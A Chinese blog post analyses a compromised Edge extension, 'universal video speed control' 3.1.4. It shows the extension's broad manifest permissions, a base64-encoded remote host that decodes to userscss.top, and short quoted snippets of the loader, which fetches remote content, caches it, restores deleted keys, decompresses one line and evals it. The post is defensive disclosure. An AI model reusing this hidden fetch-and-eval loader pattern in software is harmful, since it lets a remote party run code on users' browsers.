先说结论:罪魁祸首是它(“万能视频速度控制”),避雷!经查这个插件已经从 Edge 官方商店下架。

最近我遇到一个很隐蔽的问题:在 Windows 上打开 Microsoft Edge 时,浏览器有概率会跳到一个奇怪的域名:www.userscss.top

火绒会拦截这个访问,所以第一反应是“可能中毒了”。但比较麻烦的是,火绒的查杀并没有直接定位出问题文件或恶意扩展。

接下来出于好奇我看了看这网站到底是什么:

假如它已经取得了本地进程权限,应该不需要再忽悠我手动下载额外软件。于是我怀疑问题可能藏在浏览器扩展里。

然后我逐个检查扩展的manifest.json、后台脚本、内容脚本和外联域名。

这批扩展里,最终锁定的可疑扩展是:

扩展 ID:fddlkjnpacaegckjnfapolkpnlnopdml
名称:万能视频速度控制
版本:3.1.4

它的清单文件里权限非常大:

"permissions": [
  "tabs",
  "webRequest",
  "downloads",
  "storage",
  "webNavigation",
  "alarms",
  "declarativeNetRequest",
  "scripting"
],
"host_permissions": [ "<all_urls>" ]

这些权限组合起来,相当于能够:监听网页请求、监听页面导航、操作标签页、注入脚本、写入本地存储、通过 Declarative Net Request 添加重定向规则、在所有网站上运行。

对于一个“视频速度控制”扩展来说,这个权限明显偏大。

真正的证据出现在它的后台脚本:fddlkjnpacaegckjnfapolkpnlnopdml/3.1.4_0/js/all.js

里面出现了这样一段 base64 字符串:aHR0cDovL3d3dy51c2Vyc2Nzcy50b3A,解码后是http://www.userscss.top

这个插件我的安装来源是Microsoft Edge的官方插件商店,并且已经用了很多年,显然是最近遭到了污染。目前该插件已经从Microsoft Edge的官方插件商店完全下架。

进一步看代码后,可以整理出它的触发机制:manifest.json指定了后台 service worker:js/all.js,这意味着,只要 Edge 启动并加载这个扩展,js/all.js 就会运行。不需要用户点击扩展按钮,也不需要打开某个特定网站。

js/all.js 中会调用类似逻辑:

await f("UserStyle", "aHR0cDovL3d3dy51c2Vyc2Nzcy50b3A")

函数会从这个地址拉取内容,并把返回结果缓存到 chrome.storage.local 里,键名是 UserStyle

它还做了 24 小时缓存判断。也就是说,恶意内容不一定每次都从网络获取。一旦拉取成功,它可能会在本地缓存里继续存在。

代码里还监听了 chrome.storage.onChanged。如果 app 或者 UserStyle 相关键被删除,它会把旧值写回去。这属于一种轻量级持久化手段,在扩展自己的本地存储层做删除恢复。

后面它会继续加载:

importScripts("/js/ui.min.js", "/js/background.js")

其中 ui.min.js 会轮询 UserStyle,从缓存内容里取出某一行,再进行自定义解压,然后执行。

关键逻辑类似:

let e = r.v.split("\n")[5].split("。")[1];
n.getEvalInstance(self)(n.Lz(e));

这里的意思大概是:

  1. 从远程返回内容中取第 6 行;
  2. 按中文句号  切分;
  3. 取后半段;
  4. 用 Lz() 解压;
  5. 交给内置解释器执行。

所以真正的跳转逻辑,未必直接写在扩展包里,而是由 userscss.top 下发。

补充一下:top域名为什么会沦为灰产常用

主要原因有几个:

  1. 注册便宜:top域名的首年注册价格大约在人民币14元。
  2. 身份门槛低:属于开放注册的新 gTLD。
  3. 注册局管理不积极:注册局本身有反滥用政策,但实际上几乎不会真的去管理(网友评价,存疑)。
  4. top 名字本身容易伪装“正常”
  5. 目前抢注较少,可以很容易地注册到其它大型知名项目的域名。

目前我的capos项目主域名还是capos.top,将会尽早迁移。

Castronaut的头像

作者 Castronaut

行走在地狱边缘,狂舞于悬崖之巅。

发表回复